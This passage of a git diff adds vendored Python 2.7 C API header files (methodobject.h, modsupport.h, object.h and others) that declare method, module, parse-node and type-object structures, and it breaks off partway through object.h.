a/Extern/include/Python27/metagrammar.h b/Extern/include/Python27/metagrammar.h new file mode 100644 index 0000000..15c8ef8 --- /dev/null +++ b/Extern/include/Python27/metagrammar.h @@ -0,0 +1,18 @@ +#ifndef Py_METAGRAMMAR_H +#define Py_METAGRAMMAR_H +#ifdef __cplusplus +extern "C" { +#endif + + +#define MSTART 256 +#define RULE 257 +#define RHS 258 +#define ALT 259 +#define ITEM 260 +#define ATOM 261 + +#ifdef __cplusplus +} +#endif +#endif /* !Py_METAGRAMMAR_H */ diff --git a/Extern/include/Python27/methodobject.h b/Extern/include/Python27/methodobject.h new file mode 100644 index 0000000..6e160b6 --- /dev/null +++ b/Extern/include/Python27/methodobject.h @@ -0,0 +1,93 @@ + +/* Method object interface */ + +#ifndef Py_METHODOBJECT_H +#define Py_METHODOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +/* This is about the type 'builtin_function_or_method', + not Python methods in user-defined classes. See classobject.h + for the latter. */ + +PyAPI_DATA(PyTypeObject) PyCFunction_Type; + +#define PyCFunction_Check(op) (Py_TYPE(op) == &PyCFunction_Type) + +typedef PyObject *(*PyCFunction)(PyObject *, PyObject *); +typedef PyObject *(*PyCFunctionWithKeywords)(PyObject *, PyObject *, + PyObject *); +typedef PyObject *(*PyNoArgsFunction)(PyObject *); + +PyAPI_FUNC(PyCFunction) PyCFunction_GetFunction(PyObject *); +PyAPI_FUNC(PyObject *) PyCFunction_GetSelf(PyObject *); +PyAPI_FUNC(int) PyCFunction_GetFlags(PyObject *); + +/* Macros for direct access to these values. Type checks are *not* + done, so use with care. */ +#define PyCFunction_GET_FUNCTION(func) \ + (((PyCFunctionObject *)func) -> m_ml -> ml_meth) +#define PyCFunction_GET_SELF(func) \ + (((PyCFunctionObject *)func) -> m_self) +#define PyCFunction_GET_FLAGS(func) \ + (((PyCFunctionObject *)func) -> m_ml -> ml_flags) +PyAPI_FUNC(PyObject *) PyCFunction_Call(PyObject *, PyObject *, PyObject *); + +struct PyMethodDef { + const char *ml_name; /* The name of the built-in function/method */ + PyCFunction ml_meth; /* The C function that implements it */ + int ml_flags; /* Combination of METH_xxx flags, which mostly + describe the args expected by the C func */ + const char *ml_doc; /* The __doc__ attribute, or NULL */ +}; +typedef struct PyMethodDef PyMethodDef; + +PyAPI_FUNC(PyObject *) Py_FindMethod(PyMethodDef[], PyObject *, const char *); + +#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL) +PyAPI_FUNC(PyObject *) PyCFunction_NewEx(PyMethodDef *, PyObject *, + PyObject *); + +/* Flag passed to newmethodobject */ +#define METH_OLDARGS 0x0000 +#define METH_VARARGS 0x0001 +#define METH_KEYWORDS 0x0002 +/* METH_NOARGS and METH_O must not be combined with the flags above. */ +#define METH_NOARGS 0x0004 +#define METH_O 0x0008 + +/* METH_CLASS and METH_STATIC are a little different; these control + the construction of methods for a class. These cannot be used for + functions in modules. */ +#define METH_CLASS 0x0010 +#define METH_STATIC 0x0020 + +/* METH_COEXIST allows a method to be entered eventhough a slot has + already filled the entry. When defined, the flag allows a separate + method, "__contains__" for example, to coexist with a defined + slot like sq_contains. */ + +#define METH_COEXIST 0x0040 + +typedef struct PyMethodChain { + PyMethodDef *methods; /* Methods of this type */ + struct PyMethodChain *link; /* NULL or base type */ +} PyMethodChain; + +PyAPI_FUNC(PyObject *) Py_FindMethodInChain(PyMethodChain *, PyObject *, + const char *); + +typedef struct { + PyObject_HEAD + PyMethodDef *m_ml; /* Description of the C function to call */ + PyObject *m_self; /* Passed as 'self' arg to the C func, can be NULL */ + PyObject *m_module; /* The __module__ attribute, can be anything */ +} PyCFunctionObject; + +PyAPI_FUNC(int) PyCFunction_ClearFreeList(void); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_METHODOBJECT_H */ diff --git a/Extern/include/Python27/modsupport.h b/Extern/include/Python27/modsupport.h new file mode 100644 index 0000000..d4dddef --- /dev/null +++ b/Extern/include/Python27/modsupport.h @@ -0,0 +1,134 @@ + +#ifndef Py_MODSUPPORT_H +#define Py_MODSUPPORT_H +#ifdef __cplusplus +extern "C" { +#endif + +/* Module support interface */ + +#include + +/* If PY_SSIZE_T_CLEAN is defined, each functions treats #-specifier + to mean Py_ssize_t */ +#ifdef PY_SSIZE_T_CLEAN +#define PyArg_Parse _PyArg_Parse_SizeT +#define PyArg_ParseTuple _PyArg_ParseTuple_SizeT +#define PyArg_ParseTupleAndKeywords _PyArg_ParseTupleAndKeywords_SizeT +#define PyArg_VaParse _PyArg_VaParse_SizeT +#define PyArg_VaParseTupleAndKeywords _PyArg_VaParseTupleAndKeywords_SizeT +#define Py_BuildValue _Py_BuildValue_SizeT +#define Py_VaBuildValue _Py_VaBuildValue_SizeT +#else +PyAPI_FUNC(PyObject *) _Py_VaBuildValue_SizeT(const char *, va_list); +#endif + +PyAPI_FUNC(int) PyArg_Parse(PyObject *, const char *, ...); +PyAPI_FUNC(int) PyArg_ParseTuple(PyObject *, const char *, ...) Py_FORMAT_PARSETUPLE(PyArg_ParseTuple, 2, 3); +PyAPI_FUNC(int) PyArg_ParseTupleAndKeywords(PyObject *, PyObject *, + const char *, char **, ...); +PyAPI_FUNC(int) PyArg_UnpackTuple(PyObject *, const char *, Py_ssize_t, Py_ssize_t, ...); +PyAPI_FUNC(PyObject *) Py_BuildValue(const char *, ...); +PyAPI_FUNC(PyObject *) _Py_BuildValue_SizeT(const char *, ...); +PyAPI_FUNC(int) _PyArg_NoKeywords(const char *funcname, PyObject *kw); + +PyAPI_FUNC(int) PyArg_VaParse(PyObject *, const char *, va_list); +PyAPI_FUNC(int) PyArg_VaParseTupleAndKeywords(PyObject *, PyObject *, + const char *, char **, va_list); +PyAPI_FUNC(PyObject *) Py_VaBuildValue(const char *, va_list); + +PyAPI_FUNC(int) PyModule_AddObject(PyObject *, const char *, PyObject *); +PyAPI_FUNC(int) PyModule_AddIntConstant(PyObject *, const char *, long); +PyAPI_FUNC(int) PyModule_AddStringConstant(PyObject *, const char *, const char *); +#define PyModule_AddIntMacro(m, c) PyModule_AddIntConstant(m, #c, c) +#define PyModule_AddStringMacro(m, c) PyModule_AddStringConstant(m, #c, c) + +#define PYTHON_API_VERSION 1013 +#define PYTHON_API_STRING "1013" +/* The API version is maintained (independently from the Python version) + so we can detect mismatches between the interpreter and dynamically + loaded modules. These are diagnosed by an error message but + the module is still loaded (because the mismatch can only be tested + after loading the module). The error message is intended to + explain the core dump a few seconds later. + + The symbol PYTHON_API_STRING defines the same value as a string + literal. *** PLEASE MAKE SURE THE DEFINITIONS MATCH. *** + + Please add a line or two to the top of this log for each API + version change: + + 22-Feb-2006 MvL 1013 PEP 353 - long indices for sequence lengths + + 19-Aug-2002 GvR 1012 Changes to string object struct for + interning changes, saving 3 bytes. + + 17-Jul-2001 GvR 1011 Descr-branch, just to be on the safe side + + 25-Jan-2001 FLD 1010 Parameters added to PyCode_New() and + PyFrame_New(); Python 2.1a2 + + 14-Mar-2000 GvR 1009 Unicode API added + + 3-Jan-1999 GvR 1007 Decided to change back! (Don't reuse 1008!) + + 3-Dec-1998 GvR 1008 Python 1.5.2b1 + + 18-Jan-1997 GvR 1007 string interning and other speedups + + 11-Oct-1996 GvR renamed Py_Ellipses to Py_Ellipsis :-( + + 30-Jul-1996 GvR Slice and ellipses syntax added + + 23-Jul-1996 GvR For 1.4 -- better safe than sorry this time :-) + + 7-Nov-1995 GvR Keyword arguments (should've been done at 1.3 :-( ) + + 10-Jan-1995 GvR Renamed globals to new naming scheme + + 9-Jan-1995 GvR Initial version (incompatible with older API) +*/ + +#ifdef MS_WINDOWS +/* Special defines for Windows versions used to live here. Things + have changed, and the "Version" is now in a global string variable. + Reason for this is that this for easier branding of a "custom DLL" + without actually needing a recompile. */ +#endif /* MS_WINDOWS */ + +#if SIZEOF_SIZE_T != SIZEOF_INT +/* On a 64-bit system, rename the Py_InitModule4 so that 2.4 + modules cannot get loaded into a 2.5 interpreter */ +#define Py_InitModule4 Py_InitModule4_64 +#endif + +#ifdef Py_TRACE_REFS + /* When we are tracing reference counts, rename Py_InitModule4 so + modules compiled with incompatible settings will generate a + link-time error. */ + #if SIZEOF_SIZE_T != SIZEOF_INT + #undef Py_InitModule4 + #define Py_InitModule4 Py_InitModule4TraceRefs_64 + #else + #define Py_InitModule4 Py_InitModule4TraceRefs + #endif +#endif + +PyAPI_FUNC(PyObject *) Py_InitModule4(const char *name, PyMethodDef *methods, + const char *doc, PyObject *self, + int apiver); + +#define Py_InitModule(name, methods) \ + Py_InitModule4(name, methods, (char *)NULL, (PyObject *)NULL, \ + PYTHON_API_VERSION) + +#define Py_InitModule3(name, methods, doc) \ + Py_InitModule4(name, methods, doc, (PyObject *)NULL, \ + PYTHON_API_VERSION) + +PyAPI_DATA(char *) _Py_PackageContext; + +#ifdef __cplusplus +} +#endif +#endif /* !Py_MODSUPPORT_H */ diff --git a/Extern/include/Python27/moduleobject.h b/Extern/include/Python27/moduleobject.h new file mode 100644 index 0000000..b387f5b --- /dev/null +++ b/Extern/include/Python27/moduleobject.h @@ -0,0 +1,24 @@ + +/* Module object interface */ + +#ifndef Py_MODULEOBJECT_H +#define Py_MODULEOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(PyTypeObject) PyModule_Type; + +#define PyModule_Check(op) PyObject_TypeCheck(op, &PyModule_Type) +#define PyModule_CheckExact(op) (Py_TYPE(op) == &PyModule_Type) + +PyAPI_FUNC(PyObject *) PyModule_New(const char *); +PyAPI_FUNC(PyObject *) PyModule_GetDict(PyObject *); +PyAPI_FUNC(char *) PyModule_GetName(PyObject *); +PyAPI_FUNC(char *) PyModule_GetFilename(PyObject *); +PyAPI_FUNC(void) _PyModule_Clear(PyObject *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_MODULEOBJECT_H */ diff --git a/Extern/include/Python27/node.h b/Extern/include/Python27/node.h new file mode 100644 index 0000000..e23e709 --- /dev/null +++ b/Extern/include/Python27/node.h @@ -0,0 +1,40 @@ + +/* Parse tree node interface */ + +#ifndef Py_NODE_H +#define Py_NODE_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _node { + short n_type; + char *n_str; + int n_lineno; + int n_col_offset; + int n_nchildren; + struct _node *n_child; +} node; + +PyAPI_FUNC(node *) PyNode_New(int type); +PyAPI_FUNC(int) PyNode_AddChild(node *n, int type, + char *str, int lineno, int col_offset); +PyAPI_FUNC(void) PyNode_Free(node *n); + +/* Node access functions */ +#define NCH(n) ((n)->n_nchildren) + +#define CHILD(n, i) (&(n)->n_child[i]) +#define RCHILD(n, i) (CHILD(n, NCH(n) + i)) +#define TYPE(n) ((n)->n_type) +#define STR(n) ((n)->n_str) + +/* Assert that the type of a node is what we expect */ +#define REQ(n, type) assert(TYPE(n) == (type)) + +PyAPI_FUNC(void) PyNode_ListTree(node *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_NODE_H */ diff --git a/Extern/include/Python27/object.h b/Extern/include/Python27/object.h new file mode 100644 index 0000000..dffe0f8 --- /dev/null +++ b/Extern/include/Python27/object.h @@ -0,0 +1,979 @@ +#ifndef Py_OBJECT_H +#define Py_OBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Object and type object interface */ + +/* +Objects are structures allocated on the heap. Special rules apply to +the use of objects to ensure they are properly garbage-collected. +Objects are never allocated statically or on the stack; they must be +accessed through special macros and functions only. (Type objects are +exceptions to the first rule; the standard types are represented by +statically initialized type objects, although work on type/class unification +for Python 2.2 made it possible to have heap-allocated type objects too). + +An object has a 'reference count' that is increased or decreased when a +pointer to the object is copied or deleted; when the reference count +reaches zero there are no references to the object left and it can be +removed from the heap. + +An object has a 'type' that determines what it represents and what kind +of data it contains. An object's type is fixed when it is created. +Types themselves are represented as objects; an object contains a +pointer to the corresponding type object. The type itself has a type +pointer pointing to the object representing the type 'type', which +contains a pointer to itself!). + +Objects do not float around in memory; once allocated an object keeps +the same size and address. Objects that must hold variable-size data +can contain pointers to variable-size parts of the object. Not all +objects of the same type have the same size; but the size cannot change +after allocation. (These restrictions are made so a reference to an +object can be simply a pointer -- moving an object would require +updating all the pointers, and changing an object's size would require +moving it if there was another object right next to it.) + +Objects are always accessed through pointers of the type 'PyObject *'. +The type 'PyObject' is a structure that only contains the reference count +and the type pointer. The actual memory allocated for an object +contains other data that can only be accessed after casting the pointer +to a pointer to a longer structure type. This longer type must start +with the reference count and type fields; the macro PyObject_HEAD should be +used for this (to accommodate for future changes). The implementation +of a particular object type can cast the object pointer to the proper +type and back. + +A standard interface exists for objects that contain an array of items +whose size is determined when the object is allocated. +*/ + +/* Py_DEBUG implies Py_TRACE_REFS. */ +#if defined(Py_DEBUG) && !defined(Py_TRACE_REFS) +#define Py_TRACE_REFS +#endif + +/* Py_TRACE_REFS implies Py_REF_DEBUG. */ +#if defined(Py_TRACE_REFS) && !defined(Py_REF_DEBUG) +#define Py_REF_DEBUG +#endif + +#ifdef Py_TRACE_REFS +/* Define pointers to support a doubly-linked list of all live heap objects. */ +#define _PyObject_HEAD_EXTRA \ + struct _object *_ob_next; \ + struct _object *_ob_prev; + +#define _PyObject_EXTRA_INIT 0, 0, + +#else +#define _PyObject_HEAD_EXTRA +#define _PyObject_EXTRA_INIT +#endif + +/* PyObject_HEAD defines the initial segment of every PyObject. */ +#define PyObject_HEAD \ + _PyObject_HEAD_EXTRA \ + Py_ssize_t ob_refcnt; \ + struct _typeobject *ob_type; + +#define PyObject_HEAD_INIT(type) \ + _PyObject_EXTRA_INIT \ + 1, type, + +#define PyVarObject_HEAD_INIT(type, size) \ + PyObject_HEAD_INIT(type) size, + +/* PyObject_VAR_HEAD defines the initial segment of all variable-size + * container objects. These end with a declaration of an array with 1 + * element, but enough space is malloc'ed so that the array actually + * has room for ob_size elements. Note that ob_size is an element count, + * not necessarily a byte count. + */ +#define PyObject_VAR_HEAD \ + PyObject_HEAD \ + Py_ssize_t ob_size; /* Number of items in variable part */ +#define Py_INVALID_SIZE (Py_ssize_t)-1 + +/* Nothing is actually declared to be a PyObject, but every pointer to + * a Python object can be cast to a PyObject*. This is inheritance built + * by hand. Similarly every pointer to a variable-size Python object can, + * in addition, be cast to PyVarObject*. + */ +typedef struct _object { + PyObject_HEAD +} PyObject; + +typedef struct { + PyObject_VAR_HEAD +} PyVarObject; + +#define Py_REFCNT(ob) (((PyObject*)(ob))->ob_refcnt) +#define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) +#define Py_SIZE(ob) (((PyVarObject*)(ob))->ob_size) + +/* +Type objects contain a string containing the type name (to help somewhat +in debugging), the allocation parameters (see PyObject_New() and +PyObject_NewVar()), +and methods for accessing objects of the type. Methods are optional, a +nil pointer meaning that particular kind of access is not available for +this type. The Py_DECREF() macro uses the tp_dealloc method without +checking for a nil pointer; it should always be implemented except if +the implementation can guarantee that the reference count will never +reach zero (e.g., for statically allocated type objects). + +NB: the methods for certain type groups are now contained in separate +method blocks. +*/ + +typedef PyObject * (*unaryfunc)(PyObject *); +typedef PyObject * (*binaryfunc)(PyObject *, PyObject *); +typedef PyObject * (*ternaryfunc)(PyObject *, PyObject *, PyObject *); +typedef int (*inquiry)(PyObject *); +typedef Py_ssize_t (*lenfunc)(PyObject *); +typedef int (*coercion)(PyObject **, PyObject **); +typedef PyObject *(*intargfunc)(PyObject *, int) Py_DEPRECATED(2.5); +typedef PyObject *(*intintargfunc)(PyObject *, int, int) Py_DEPRECATED(2.5); +typedef PyObject *(*ssizeargfunc)(PyObject *, Py_ssize_t); +typedef PyObject *(*ssizessizeargfunc)(PyObject *, Py_ssize_t, Py_ssize_t); +typedef int(*intobjargproc)(PyObject *, int, PyObject *); +typedef int(*intintobjargproc)(PyObject *, int, int, PyObject *); +typedef int(*ssizeobjargproc)(PyObject *, Py_ssize_t, PyObject *); +typedef int(*ssizessizeobjargproc)(PyObject *, Py_ssize_t, Py_ssize_t, PyObject *); +typedef int(*objobjargproc)(PyObject *, PyObject *, PyObject *); + + + +/* int-based buffer interface */ +typedef int (*getreadbufferproc)(PyObject *, int, void **); +typedef int (*getwritebufferproc)(PyObject *, int, void **); +typedef int (*getsegcountproc)(PyObject *, int *); +typedef int (*getcharbufferproc)(PyObject *, int, char **); +/* ssize_t-based buffer interface */ +typedef Py_ssize_t (*readbufferproc)(PyObject *, Py_ssize_t, void **); +typedef Py_ssize_t (*writebufferproc)(PyObject *, Py_ssize_t, void **); +typedef Py_ssize_t (*segcountproc)(PyObject *, Py_ssize_t *); +typedef Py_ssize_t (*charbufferproc)(PyObject *, Py_ssize_t, char **); + + +/* Py3k buffer interface */ +typedef struct bufferinfo { + void *buf; + PyObject *obj; /* owned reference */ + Py_ssize_t len; + Py_ssize_t itemsize; /* This is Py_ssize_t so it can be + pointed to by strides in simple case.*/ + int readonly; + int ndim; + char *format; + Py_ssize_t *shape; + Py_ssize_t *strides; + Py_ssize_t *suboffsets; + Py_ssize_t smalltable[2]; /* static store for shape and strides of + mono-dimensional buffers. */ + void *internal; +} Py_buffer; + +typedef int (*getbufferproc)(PyObject *, Py_buffer *, int); +typedef void (*releasebufferproc)(PyObject *, Py_buffer *); + + /* Flags for getting buffers */ +#define PyBUF_SIMPLE 0 +#define PyBUF_WRITABLE 0x0001 +/* we used to include an E, backwards compatible alias */ +#define PyBUF_WRITEABLE PyBUF_WRITABLE +#define PyBUF_FORMAT 0x0004 +#define PyBUF_ND 0x0008 +#define PyBUF_STRIDES (0x0010 | PyBUF_ND) +#define PyBUF_C_CONTIGUOUS (0x0020 | PyBUF_STRIDES) +#define PyBUF_F_CONTIGUOUS (0x0040 | PyBUF_STRIDES) +#define PyBUF_ANY_CONTIGUOUS (0x0080 | PyBUF_STRIDES) +#define PyBUF_INDIRECT (0x0100 | PyBUF_STRIDES) + +#define PyBUF_CONTIG (PyBUF_ND | PyBUF_WRITABLE) +#define PyBUF_CONTIG_RO (PyBUF_ND) + +#define PyBUF_STRIDED (PyBUF_STRIDES | PyBUF_WRITABLE) +#define PyBUF_STRIDED_RO (PyBUF_STRIDES) + +#define PyBUF_RECORDS (PyBUF_STRIDES | PyBUF_WRITABLE | PyBUF_FORMAT) +#define PyBUF_RECORDS_RO (PyBUF_STRIDES | PyBUF_FORMAT) + +#define PyBUF_FULL (PyBUF_INDIRECT | PyBUF_WRITABLE | PyBUF_FORMAT) +#define PyBUF_FULL_RO (PyBUF_INDIRECT | PyBUF_FORMAT) + + +#define PyBUF_READ 0x100 +#define PyBUF_WRITE 0x200 +#define PyBUF_SHADOW 0x400 +/* end Py3k buffer interface */ + +typedef int (*objobjproc)(PyObject *, PyObject *); +typedef int (*visitproc)(PyObject *, void *); +typedef int (*traverseproc)(PyObject *, visitproc, void *); + +typedef struct { + /* For numbers without flag bit Py_TPFLAGS_CHECKTYPES set, all + arguments are guaranteed to be of the object's type (modulo + coercion hacks -- i.e. if the type's coercion function + returns other types, then these are allowed as well). Numbers that + have the Py_TPFLAGS_CHECKTYPES flag bit set should check *both* + arguments for proper type and implement the necessary conversions + in the slot functions themselves. */ + + binaryfunc nb_add; + binaryfunc nb_subtract; + binaryfunc nb_multiply; + binaryfunc nb_divide; + binaryfunc nb_remainder; + binaryfunc nb_divmod; + ternaryfunc nb_power; + unaryfunc nb_negative; + unaryfunc nb_positive; + unaryfunc nb_absolute; + inquiry nb_nonzero; + unaryfunc nb_invert; + binaryfunc nb_lshift; + binaryfunc nb_rshift; + binaryfunc nb_and; + binaryfunc nb_xor; + binaryfunc nb_or; + coercion nb_coerce; + unaryfunc nb_int; + unaryfunc nb_long; + unaryfunc nb_float; + unaryfunc nb_oct; + unaryfunc nb_hex; + /* Added in release 2.0 */ + binaryfunc nb_inplace_add; + binaryfunc nb_inplace_subtract; + binaryfunc nb_inplace_multiply; + binaryfunc nb_inplace_divide; + binaryfunc nb_inplace_remainder; + ternaryfunc nb_inplace_power; + binaryfunc nb_inplace_lshift; + binaryfunc nb_inplace_rshift; + binaryfunc nb_inplace_and; + binaryfunc nb_inplace_xor; + binaryfunc nb_inplace_or; + + /* Added in release 2.2 */ + /* The following require the Py_TPFLAGS_HAVE_CLASS flag */ + binaryfunc nb_floor_divide; + binaryfunc nb_true_divide; + binaryfunc nb_inplace_floor_divide; + binaryfunc nb_inplace_true_divide; + + /* Added in release 2.5 */ + unaryfunc nb_index; +} PyNumberMethods; + +typedef struct { + lenfunc sq_length; + binaryfunc sq_concat; + ssizeargfunc sq_repeat; + ssizeargfunc sq_item; + ssizessizeargfunc sq_slice; + ssizeobjargproc sq_ass_item; + ssizessizeobjargproc sq_ass_slice; + objobjproc sq_contains; + /* Added in release 2.0 */ + binaryfunc sq_inplace_concat; + ssizeargfunc sq_inplace_repeat; +} PySequenceMethods; + +typedef struct { + lenfunc mp_length; + binaryfunc mp_subscript; + objobjargproc mp_ass_subscript; +} PyMappingMethods; + +typedef struct { + readbufferproc bf_getreadbuffer; + writebufferproc bf_getwritebuffer; + segcountproc bf_getsegcount; + charbufferproc bf_getcharbuffer; + getbufferproc bf_getbuffer; + releasebufferproc bf_releasebuffer; +} PyBufferProcs; + + +typedef void (*freefunc)(void *); +typedef void (*destructor)(PyObject *); +typedef int (*printfunc)(PyObject *, FILE *, int); +typedef PyObject *(*getattrfunc)(PyObject *, char *); +typedef PyObject *(*getattrofunc)(PyObject *, PyObject *); +typedef int (*setattrfunc)(PyObject *, char *, PyObject *); +typedef int (*setattrofunc)(PyObject *, PyObject *, PyObject *); +typedef int (*cmpfunc)(PyObject *, PyObject *); +typedef PyObject *(*reprfunc)(PyObject *); +typedef long (*hashfunc)(PyObject *); +typedef PyObject *(*richcmpfunc) (PyObject *, PyObject *, int); +typedef PyObject *(*getiterfunc) (PyObject *); +typedef PyObject *(*iternextfunc) (PyObject *); +typedef PyObject *(*descrgetfunc) (PyObject *, PyObject *, PyObject *); +typedef int (*descrsetfunc) (PyObject *, PyObject *, PyObject *); +typedef int (*initproc)(PyObject *, PyObject *, PyObject *); +typedef PyObject *(*newfunc)(struct _typeobject *, PyObject *, PyObject *); +typedef PyObject *(*allocfunc)(struct _typeobject *, Py_ssize_t); + +typedef struct _typeobject { + PyObject_VAR_HEAD + const char *tp_name; /* For printing, in format "." */ + Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */ + + /* Methods to implement standard operations */ + + destructor tp_dealloc; + printfunc tp_print; + getattrfunc tp_getattr; + setattrfunc tp_setattr; + cmpfunc tp_compare; + reprfunc tp_repr; + + /* Method suites for standard classes */ + + PyNumberMethods *tp_as_number; + PySequenceMethods *tp_as_sequence; + PyMappingMethods *tp_as_mapping; + + /* More standard operations (here for binary compatibility) */ + + hashfunc tp_hash; + ternaryfunc tp_call; + reprfunc tp_str; + getattrofunc tp_getattro; + setattrofunc tp_setattro; + + /* Functions to access object as input/output buffer */ + PyBufferProcs *tp_as_buffer; + + /* Flags to define presence of optional/expanded features */ + long tp_flags; + + const char *tp_doc; /* Documentation string */ + + /* Assigned meaning in release 2.0 */ + /* call function for all accessible objects */ + traverseproc tp_traverse; + + /* delete references to contained objects */ + inquiry tp_clear; + + /* Assigned meaning in release 2.1 */ + /* rich comparisons */ + richcmpfunc tp_richcompare; + + /* weak reference enabler */ + Py_ssize_t tp_weaklistoffset; + + /* Added in release 2.2 */ + /* Iterators */ + getiterfunc tp_iter; + iternextfunc tp_iternext; + + /* Attribute descriptor and subclassing stuff */ + struct PyMethodDef *tp_methods; + struct PyMemberDef *tp_members; + struct PyGetSetDef *tp_getset; + struct _typeobject *tp_base; + PyObject *tp_dict; + descrgetfunc tp_descr_get; + descrsetfunc tp_descr_set; + Py_ssize_t tp_dictoffset; + initproc tp_init; + allocfunc tp_alloc; + newfunc tp_new; + freefunc tp_free; /* Low-level free-memory routine */ + inquiry tp_is_gc; /* For PyObject_IS_GC */ + PyObject *tp_bases; + PyObject *tp_mro; /* method resolution order */ + PyObject *tp_cache; + PyObject *tp_subclasses; + PyObject *tp_weaklist; + destructor tp_del; + + /* Type attribute cache version tag. Added in version 2.6 */ + unsigned int tp_version_tag; + +#ifdef COUNT_ALLOCS + /* these must be last and never explicitly initialized */ + Py_ssize_t tp_allocs; + Py_ssize_t tp_frees; + Py_ssize_t tp_maxalloc; + struct _typeobject *tp_prev; + struct _typeobject *tp_next; +#endif +} PyTypeObject; + + +/* The *real* layout of a type object when allocated on the heap */ +typedef struct _heaptypeobject { + /* Note: there's a dependency on the order of these members + in slotptr() in typeobject.c . */ + PyTypeObject ht_type; + PyNumberMethods as_number; + PyMappingMethods as_mapping; + PySequenceMethods as_sequence; /* as_sequence comes after as_mapping, + so that the mapping wins when both + the mapping and the sequence define + a given operator (e.g. __getitem__). + see add_operators() in typeobject.c . */ + PyBufferProcs as_buffer; + PyObject *ht_name, *ht_slots; + /* here are optional user slots, followed by the members. */ +} PyHeapTypeObject; + +/* access macro to the members which are floating "behind" the object */ +#define PyHeapType_GET_MEMBERS(etype) \ + ((PyMemberDef *)(((char *)etype) + Py_TYPE(etype)->tp_basicsize)) + + +/* Generic type check */ +PyAPI_FUNC(int) PyType_IsSubtype(PyTypeObject *, PyTypeObject *); +#define PyObject_TypeCheck(ob, tp) \ + (Py_TYPE(ob) == (tp) || PyType_IsSubtype(Py_TYPE(ob), (tp))) + +PyAPI_DATA(PyTypeObject) PyType_Type; /* built-in 'type' */ +PyAPI_DATA(PyTypeObject) PyBaseObject_Type; /* built-in 'object' */ +PyAPI_DATA(PyTypeObject) PySuper_Type; /* built-in 'super' */ + +#define PyType_Check(op) \ + PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_TYPE_SUBCLASS) +#define PyType_CheckExact(op) (Py_TYPE(op) == &PyType_Type) + +PyAPI_FUNC(int) PyType_Ready(PyTypeObject *); +PyAPI_FUNC(PyObject *) PyType_GenericAlloc(PyTypeObject *, Py_ssize_t); +PyAPI_FUNC(PyObject *) PyType_GenericNew(PyTypeObject *, + PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) _PyType_Lookup(PyTypeObject *, PyObject *); +PyAPI_FUNC(PyObject *) _PyObject_LookupSpecial(PyObject *, char *, PyObject **); +PyAPI_FUNC(unsigned int) PyType_ClearCache(void); +PyAPI_FUNC(void) PyType_Modified(PyTypeObject *); + +/* Generic operations on objects */ +PyAPI_FUNC(int) PyObject_Print(PyObject *, FILE *, int); +PyAPI_FUNC(void) _PyObject_Dump(PyObject *); +PyAPI_FUNC(PyObject *) PyObject_Repr(PyObject *); +PyAPI_FUNC(PyObject *) _PyObject_Str(PyObject *); +PyAPI_FUNC(PyObject *) PyObject_Str(PyObject *); +#define PyObject_Bytes PyObject_Str +#ifdef Py_USING_UNICODE +PyAPI_FUNC(PyObject *) PyObject_Unicode(PyObject *); +#endif +PyAPI_FUNC(int) PyObject_Compare(PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) PyObject_RichCompare(PyObject *, PyObject *, int); +PyAPI_FUNC(int) PyObject_RichCompareBool(PyObject *, PyObject *, int); +PyAPI_FUNC(PyObject *) PyObject_GetAttrString(PyObject *, const char *); +PyAPI_FUNC(int) PyObject_SetAttrString(PyObject *, const char *, PyObject *); +PyAPI_FUNC(int) PyObject_HasAttrString(PyObject *, const char *); +PyAPI_FUNC(PyObject *) PyObject_GetAttr(PyObject *, PyObject *); +PyAPI_FUNC(int) PyObject_SetAttr(PyObject *, PyObject *, PyObject *); +PyAPI_FUNC(int) PyObject_HasAttr(PyObject *, PyObject *); +PyAPI_FUNC(PyObject **) _PyObject_GetDictPtr(PyObject *); +PyAPI_FUNC(PyObject *) PyObject_SelfIter(PyObject *); +PyAPI_FUNC(PyObject *) _PyObject_NextNotImplemented(PyObject *); +PyAPI_FUNC(PyObject *) PyObject_GenericGetAttr(PyObject *, PyObject *); +PyAPI_FUNC(int) PyObject_GenericSetAttr(PyObject *, + PyObject *, PyObject *); +PyAPI_FUNC(long) PyObject_Hash(PyObject *); +PyAPI_FUNC(long) PyObject_HashNotImplemented(PyObject *); +PyAPI_FUNC(int) PyObject_IsTrue(PyObject *); +PyAPI_FUNC(int) PyObject_Not(PyObject *); +PyAPI_FUNC(int) PyCallable_Check(PyObject *); +PyAPI_FUNC(int) PyNumber_Coerce(PyObject **, PyObject **); +PyAPI_FUNC(int) PyNumber_CoerceEx(PyObject **, PyObject **); + +PyAPI_FUNC(void) PyObject_ClearWeakRefs(PyObject *); + +/* A slot function whose address we need to compare */ +extern int _PyObject_SlotCompare(PyObject *, PyObject *); + + +/* PyObject_Dir(obj) acts like Python __builtin__.dir(obj), returning a + list of strings. PyObject_Dir(NULL) is like __builtin__.dir(), + returning the names of the current locals. In this case, if there are + no current locals, NULL is returned, and PyErr_Occurred() is false. +*/ +PyAPI_FUNC(PyObject *) PyObject_Dir(PyObject *); + + +/* Helpers for printing recursive container types */ +PyAPI_FUNC(int) Py_ReprEnter(PyObject *); +PyAPI_FUNC(void) Py_ReprLeave(PyObject *); + +/* Helpers for hash functions */ +PyAPI_FUNC(long) _Py_HashDouble(double); +PyAPI_FUNC(long) _Py_HashPointer(void*); + +/* Helper for passing objects to printf and the like */ +#define PyObject_REPR(obj) PyString_AS_STRING(PyObject_Repr(obj)) + +/* Flag bits for printing: */ +#define Py_PRINT_RAW 1 /* No string quotes etc. */ + +/* +`Type flags (tp_flags) + +These flags are used to extend the type structure in a backwards-compatible +fashion. Extensions can use the flags to indicate (and test) when a given +type structure contains a new feature. The Python core will use these when +introducing new functionality between major revisions (to avoid mid-version +changes in the PYTHON_API_VERSION). + +Arbitration of the flag bit positions will need to be coordinated among +all extension writers who publically release their extensions (this will +be fewer than you might expect!).. + +Python 1.5.2 introduced the bf_getcharbuffer slot into PyBufferProcs. + +Type definitions should use 